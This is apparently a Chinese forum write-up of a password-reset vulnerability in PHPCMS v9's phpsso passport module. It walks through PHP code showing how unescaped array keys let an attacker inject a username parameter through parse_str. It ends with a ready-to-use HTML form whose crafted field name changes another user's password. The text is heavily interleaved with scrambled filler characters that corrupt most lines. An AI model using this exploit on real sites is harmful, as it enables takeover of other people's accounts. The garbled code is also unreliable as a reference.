提到的通行证的代码:
. v" _1 Y$ H+ `0 k* ~
K0 L* @7 X7 j1 J, G
" H+ J1 J" b/ z% M) s6 aparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);: [, m+ b3 L4 _( D
5 l" U2 a) g2 o% j' q6 m' q. Y
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。6 P b6 e8 `1 f+ x4 B
8 J! i9 z; N7 ^4 t0 E$ t) u. C我把它留给了你们。
1 j5 U: x; p' y P C. F不知道你们发现了它没有。, }: v( W" J/ x3 I- C* x3 g
* A: u# ^0 H) [6 D
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。% q% x' f2 I( E i% c) O" F4 v$ |
5 D+ [6 c: \' ^# l/ Z3 j( O0 ^ F
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
9 z2 }* \* B/ z+ |4 m% w/ s8 b4 p7 G$ w
也就是. } H$ S3 u Q
& Y& L) E' Y- Z# ]# ]username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
; M% m/ W5 O1 g" g
) m( L- T5 r: Y- ^% U" f* Q7 X( T要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。, J0 p( n6 G9 \. b* J+ s
0 c/ L0 [( q9 j0 S9 b
4 q$ E) J8 w9 z其实我们有这样的机会,看看代码,如下:
, h( R* G- Q% g% Q1 r% K
- ~7 I U9 N& |4 y9 ~6 v
. Q! w P! K. N V' l0 `# h1 s9 dpublic function auth_data($data) {5 ]4 P3 B8 M7 Y+ B3 i6 D
$s = $sep = '';. F( W+ Q9 i! u* z; |" E& L
foreach($data as $k => $v) {, V; b% J" d& y @
if(is_array($v)) {
- J% C( I. A3 T. f/ K: N $s2 = $sep2 = '';% R# f. @& k1 Y) a
foreach($v as $k2 => $v2) {
- l3 j! X5 s1 U $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);' Y& b' Y& I- L$ |$ X
$sep2 = '&';2 ?1 N4 N# ` _- q: V I
}3 ?8 [- V$ `2 A4 V4 H8 t" C
$s .= $sep.$s2;! Q3 C0 Y& T a4 Z' O
} else {
- m6 X# b4 u+ |+ K9 i* \! e6 u $s .= "$sep$k=".$this->_ps_stripslashes($v);
- s, o ]9 |& W; ]' v/ N6 l }
- ^8 A( G/ n4 X) K3 M( } $sep = '&';5 I3 C; t% E' `2 d# N
}. i. o$ |; R) y c
6 H1 o7 c: G: E6 L
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));- M+ e; s) ]; d4 ]4 U" e# v s
return $auth_s;
' K- f/ v. a* y6 @. | }) m4 {! ^3 b/ L( f# ?
u& K) c9 i7 l" ~. _: e2 @* [% \可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
: E0 g# K# I4 W$ z+ y6 l6 I4 w5 x1 n, U, P- @4 X' J0 I
举个例子& k$ [/ Z% [2 Z0 O1 V: O3 e9 x6 R
. ], W; I6 K+ |$ Y7 ~0 }: P* L$a[aaa=a&bbb] = 'a';
9 Z. n% ^ j$ c
& d4 Q* H3 \8 @' n6 c9 I会变成aaa=a&bbb=a
& P' a' d* e8 ^% k1 C
$ q/ p9 h! G9 {# X明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
1 T t7 H2 M# Q6 N0 k7 l9 j4 G
2 l* x8 Z8 {' h4 Q5 ^/ g+ u这个时候,我们可以再去看一个函数。
/ c8 i1 L) w& G$ X) }6 B
& `0 B4 q' r$ O* t( Z# h4 m就在这个文件内:
% R2 D! w3 k% Z- v) H! s9 W$ b
' u+ p7 m5 o+ A- f4 m
4 w( Z. m; @5 U4 O# h4 v* {public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {! t% @; r0 z- T. z* y% B% @
if($email && !$this->_is_email($email)) {
/ ~; u2 u) x0 h. A0 y+ k4 | return -4;- U# s4 @+ v8 Y
}: u6 I9 z3 m# c! V) Y# j' z
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));, S+ z# Y F7 K! s) @
}% ^& V' y& b: X
/ J" }; A( x, ]9 ^+ w2 u3 G这是向通行证发了这样一个请求。6 f2 b0 \) G3 m; C. j6 }. k/ Y
7 d& F6 P' X( c5 N: j, e+ X9 j
我们再跟到通信证代码里去看看,就会有所发现。% C5 L! n3 K' Y( ?! o. G
- z/ S( ]4 L* o! P, r# c( ^% C" j' Y) F4 B* d
public function edit() {
7 v' J* l1 h* j/ ]* i//能省就省,太长了不是吗?
" C1 j' f+ }9 }! E" W8 s! L8 u) z/ ]9 K- g
if($this->username) {
2 G7 x( @" b: o+ ]; N* H/ |//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
3 l; V% L- k3 G1 {2 U $res = $this->db->update($data, array('username'=>$this->username));" p/ ]( ]& s n B ~# L
} else {6 A0 B9 i- @" s2 T8 z8 ~
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ B% i7 [' e+ D! v $res = $this->db->update($data, array('uid'=>$this->uid));
9 n; F1 h9 r- k }3 T! J* Q' ` m- G2 M) x( `& Z
( d, U+ V7 ]$ j! y0 }4 b7 M# Q5 W
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
, Z5 |0 `: n5 \. |+ p" T% T: S* r% [+ ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
" n$ M; Q; Q( i. y: ?, w Y7 N1 L0 z6 [! n! a, p1 @. T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: b! H# l8 N T- c( q; t! I( v7 j
, {% I9 U7 R( u# ]- @6 J( O我当然找到了:4 b4 E7 A2 e$ U/ v/ z/ y
phpcms9/phpcms/modules/member/index.php
4 E Z* {+ x) @: W9 N3 k
# x8 M% O! A& r+ Y5 p$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
; o! ]$ T+ U2 M: ]4 X* w$ i3 J
1 I4 b1 e6 }8 y( B2 [$ o' t6 V然后就没有然后了。# f% W5 S5 M5 n' l }
. @2 @, V- }/ H+ T<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">. ~0 y J& D! V- ^6 }
<table width="100%" cellspacing="0" class="table_form">' P# F# [. u( P# Q: c- F& C
<tr>" u7 @9 ]* G) @; K+ Q
<th width="80">邮箱:</th> 0 y j9 _0 f9 x/ f% m
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>7 L' I* m/ p3 |6 P) H
</tr>
' e8 r+ V2 h+ f2 A <tr>, A6 c7 f6 S ?
<th width="80">原密码:</th>
" J+ E5 V2 h0 B4 t/ D <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>4 b+ d* e' Y# {) E; Z* b8 H
</tr>
6 Q) I# b( f) I/ X) Z <tr>
. `( {6 F% o# X, w- @6 \* ^: r* j <th>新密码:</th>
$ Y$ \$ l" ]/ F& J <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
2 f2 f# }2 a$ D0 ` </tr>
1 D4 [7 y4 a+ t5 V <th></th>
$ a. t0 m% Z8 ^# z1 L2 L' d5 y <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
1 _" |# R) a% P- f </tr>
3 {8 Z! Z. \( D) i! n+ W& ] </table>
3 ~' C' d+ {9 ^$ ]
, p: P6 O! ? l2 P2 N + ?6 `0 U% b/ G
</form>2 m& n3 `; d3 [. t, }* t. W9 C
|